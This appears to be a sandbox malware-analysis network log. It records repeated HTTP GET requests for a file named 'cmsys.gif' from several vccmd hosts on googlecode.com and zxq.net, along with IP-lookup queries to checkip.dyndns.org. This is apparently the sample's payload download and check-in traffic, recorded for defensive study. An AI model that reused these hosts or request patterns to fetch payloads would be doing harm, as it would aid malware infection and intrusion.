Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
